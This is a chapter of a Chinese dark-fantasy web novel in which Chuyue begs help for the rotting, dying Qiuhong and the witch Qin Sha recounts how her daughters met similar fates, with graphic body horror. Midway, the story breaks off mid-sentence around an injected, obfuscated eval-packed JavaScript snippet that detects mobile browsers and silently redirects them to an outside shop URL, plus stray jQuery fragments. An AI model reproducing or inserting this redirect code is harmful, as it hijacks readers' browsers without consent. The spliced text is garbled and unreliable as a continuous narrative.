121. 人皮灯(三)

作品:《我燃烧的理由

    蛄蛹蛄蛹……


    秋鸿身体前倾,半颗眼珠淌了出来……


    初月忙扶起他,对着他脸曾经的位置,关切地问:“怎么了秋鸿?不舒服吗?再坚持一下,四方砖马上就来了,带你回


    10230……”


    “不……我要……回家……”


    “我知道,我们回10230号梦世界,回你家,然后救你,或者先救你,再回你家……总之,我们得先等四方砖来……你再坚持一下……别睡过去,求你了秋鸿……别丢下我,我、我可以不回现实世界的……只要你别死……别让我怀着愧疚过一生……”


    说到最后,初月已有哭腔。


    “别哭……”秋鸿皮肉松垮的手捧起初月的脸,抹掉她的泪,“我不会抛下你……”


    “这里……”秋鸿口腔张合,满口牙摇摇欲坠,“这里……就是我家……你给我……的家……”


    初月皱眉,一时之间没懂秋鸿在说什么,这367号梦世界里普通的一面矮墙,怎么会是他的家呢?


    这时,院门“吱呀”一声,有人拉开了门。


    “初月?真的是你!”


    初月回头,对上了四方砖那双深陷的眼。


    举目四望,青石院墙,矮石地灯,还有透过院门望进去那小小的院子,抬头看,二楼阳台已有点点绿意,这里不是她的家是哪里?


    原来秋鸿说的,是这个意思。


    他早已把初月所在的地方,当成了自己的家。


    四方砖侧身站在门边,给初月让出视线,又实在忍不住诉说这分离后的思念。


    玻璃宫里的种种旖旎气息,他都可以忽视不见,只要初月还能常伴他左右。


    “初月,那日玻璃宫一别,好久不见。”


    初月并不说话,只是呆呆地看着面前的小别墅,记忆里还是它被摧毁前的样子。


    四方砖说:“我找你好久也找不见,我翻遍了367号梦世界的所有角落,甚至把每一块砖石下面都查了个遍,都不见你人影,你好像就凭空消失了一样,从我的世界里消失了……我又回到了自己一个人麻痹游荡的日子……”


    “直到我的意识探入地坑深处,听到了有人在地坑的另一面低语,我才意识到,这个世界有一个地方,我还没找过!但是,我也没有办法去找,地底世界,不是我能踏足的地方……”


    “所以,我只好求助秦厌她们,希望她们去得及时……然后,然后!”


    四方砖低落的叙述突然变得激动起来:“然后我想着,我虽然进不去地底世界,但也不能呆在这里什么什么也不干,所以,我把这地上世界所有的建筑都复原了!你看!你的家!跟之前一模一样!每一块砖都是原来的,碎成渣我也能把他们拼起来……你看……”


    初月顺着四方砖的话,视线由内看到外。


    近处,是她暂住过的原主的家。


    远处,高楼林立,家家灯火通明,俨然一排安居乐业的景象。


    四方砖把这个世界打理得很好,比她这个梦主做得,要好多了。


    “我就是希望,你从地底世界回来之后,就有地方住……”四方砖声音低低的,“你们,就有地方住……”


    侧身靠着门的他,只看到一双腿从围墙边伸出来。


    四方砖知道,秋鸿就坐在那里。


    那个幸运儿就坐在那里,坐在初月充满爱意的眼神里。


    “秋鸿他……”怎么不说话?


    “四方砖……你救救他……”


    初月突然两腿一弯跪在了他面前,双手抓住他的衣摆,头颅低垂,断线的珍珠一颗一颗砸在青石板上,碎了满地。


    至此,在亲人一般的四方砖面前,初月这一跪,终于戳破了她自己骗自己的谎言:秋鸿还有救吗?她心里早就有了答案。


    此前的种种,不过是她一个人在强撑。


    她的谎言,只能支撑自己走到这里了,剩下的,初月不知道自己还能做什么努力。


    四方砖闻言强掺起初月,越过她去看视线盲区的秋鸿。


    眼前所见到的惨状无需多言。


    四方砖自诩削过人脚无数、砍过人头无数、剁过人手无数……


    可这剥掉人血肉的惨状,也是第一次见。


    秋鸿这张血肉模糊的脸,不亚于凌晓剥人皮做车衣时的惨状。


    四方砖避开秋鸿救无可救烂泥一片的脸,慢慢剥掉他颈间缠绕的布料,露出他血肉尚存的脖颈。


    “他这是?”


    初月守在秋鸿身边,望着不远处互相搀扶着赶来的女巫二人。


    “我不知道……”初月甚至说不清这惨状时如何发生的,“我能肯定的是,之前高松华在他脖子里种下的那根白纻树丝,是切断他脖子的源头,但好在,留住了他的气管和动脉,高松华死了也没要了他的命……可是,他脸上不知怎的,整块整块的肉突然就往下掉,我拼也拼不回去……捡也捡不起来……四方砖,他的头,好像就那么化掉了……”


    “老婆婆!”初月突然一个猛扑,抓住刚刚赶来的、气喘吁吁的女巫秦砂,求道,“你体内的那个怪物……是章鱼还是什么……你们能共存,那能不能让它也救救秋鸿……他不能死……”


    良久,秦砂那张口脂涂满的半张脸动了动,叹道:“他死不了……”


    “真的?!”


    初月双眼瞠圆,希望的曙光微亮。


    可它只是流星般逝去。


    “高松华的白纻树丝是第一道枷锁,二十多年前我就见他用过。那一次,他把这珍贵的白纻树丝系在了我大女儿的脖子上……”


    “我妈妈?”这也是秦厌第一次听到这个过往。


    “嗯,他当时对你妈妈是这么说的……他说,这白纻树丝是千年难得一遇的珍宝,它是一个外置气囊,能将自己产生的情绪气雾全部锁在这丝线里,以防情绪值的流出,这对于我们气雾族来说,确实是一个能免除别人抢夺能量的利器……而且,若是你妈妈愿意,还能主动吸收周围几米内的无主情绪值,让自己成为一个只进不出的情绪富翁。”


    “我大女儿没有那么做,也不屑于这么做,甚至对高松华的私心嗤之以鼻。但那时候,他们还是夫妻,她也就没有过多指责高松华的私心。可是,直到有一天她发现,这白纻树丝不止是气囊这么简单,它更是一条隐形的狗链,死死地拴在了她的脖子上,再也无法解开,而这条“狗链”只忠诚于它第一眼认定的人——也就是高松华,一旦高松华愿意,他随时可以收紧白纻树丝,将头颅缓慢割下,最后只剩下气管和大动脉……”


    秦厌有种不安的预感,她好像听到了妈妈的真正死因:“这些细节你是怎么知道的……”


    秦砂:“我亲眼见到的,见到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16859417|176095||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我大女儿的脑袋摇摇欲坠。只要稍有不慎,脑袋跌下来,挣断了其中哪一根管子,她都是死路一条。”


    “但偏偏,高松华那个狗东西不愿意让自己的手沾上血,是吗?”


    秦厌手扶着,青砖碎屑从她指缝里迸了出来,她仿佛看到了二十多年前,她母亲濒死的惨状。


    老婆婆秦砂抬头望天,嘴唇隐在口脂里抿成一条直线,终结了这个故事。


    “剩下的故事,你们应该不难猜到。我可怜的大女儿,自己扯断了她的人生……”


    “你胡说!”


    初月出言阻止,她不愿秋鸿受到故事的暗示,轻易对待自己的生命。


    “一定还有方法的……只是她妈妈没有坚持到那个时候……”


    老婆婆秦砂从口袋里摸出口脂,借着落日的余晖细细描摹,将口脂一层一层覆盖在她那张樱桃小嘴上,再向外打着圈儿扩张,直到将下半张脸几乎全纳入“嘴”的范围。


    好像这样,从她的小嘴里说出来的话就会拥有放大百倍的音量。


    她轻描淡写地说:“那我再给你讲个故事好不好……”


    出于对上一个故事的忌惮,初月想捂住秋鸿的耳朵将他屏蔽在外。


    可一来秋鸿的耳朵早就随着腐烂的碎肉不知道掉到哪里去了,二来,他握住了初月的手,平静地等待第二个故事决定自己命运的走向。


    老婆婆秦砂说:“我的小女儿在她漫长的死亡初期,症状和你一样。”


    初月察觉到秋鸿微微抬了抬头,可她分辨不出秋鸿的视线是否迎上了秦砂居高临下的俯视。


    她听见秦砂一字一句地诉说她小女儿的命运,一字一句隐喻秋鸿的命运。


    “如果我没猜错的话,秋鸿的脸开始烂之前,一定与王瑾有过交集吧。”


    老婆婆秦砂像是在问,可句句都没有给她们否认的机会。


    初月咬唇承认:“王瑾求我饶他一命,我没答应……”


    “不对。”老婆婆秦砂摇头,“不是这件事,一定还有别的事。”


    “别的事?”初月以为这就是恩怨的起点了。


    这时,安静许久的秋鸿突然发出意味不明的“嗤嗤”声,初月忙帮他抚背理气。


    只听他说:“我知道……王瑾……的秘密……”


    老婆婆秦砂不合时宜地兴奋拍手、跳起来说:“对啦!当年我小女儿也是这样,一连三个月行踪不定、夜行昼寐的,接着终于有一天,她身上裹着乱糟糟的蛛丝、脏兮兮的回来了,一着家一句话不说就连吃了三大碗饭,直到第三天半夜,她摸过来,坐在我床前,也不说话,眼泪啪嗒啪嗒地掉,褥子都湿了我才醒过来……”


    “我看着她那可怜的模样心揪的跟什么似的……我说、我说,‘我的宝贝心肝儿,你这是怎么了?受了什么委屈?妈妈在妈妈帮你做主……’我抱着她哄了又哄、劝了又劝,又是担保又是发誓的……她才终于跟我说了几句话……”


    “她说一句哭三声地跟我说,‘妈……我发现王瑾他……可是我已经有了他的孩子……’”


    “王瑾怎么了?”初月和秦厌齐声说。


    “你们听我说!”老婆婆秦砂被打断后突然暴怒,血腥的大嘴咆哮,却又突然开始哭泣,“我的小女儿……我的小女儿……她摸着自己的肚子,说她怀孕了……我的小女儿也要做妈妈了……”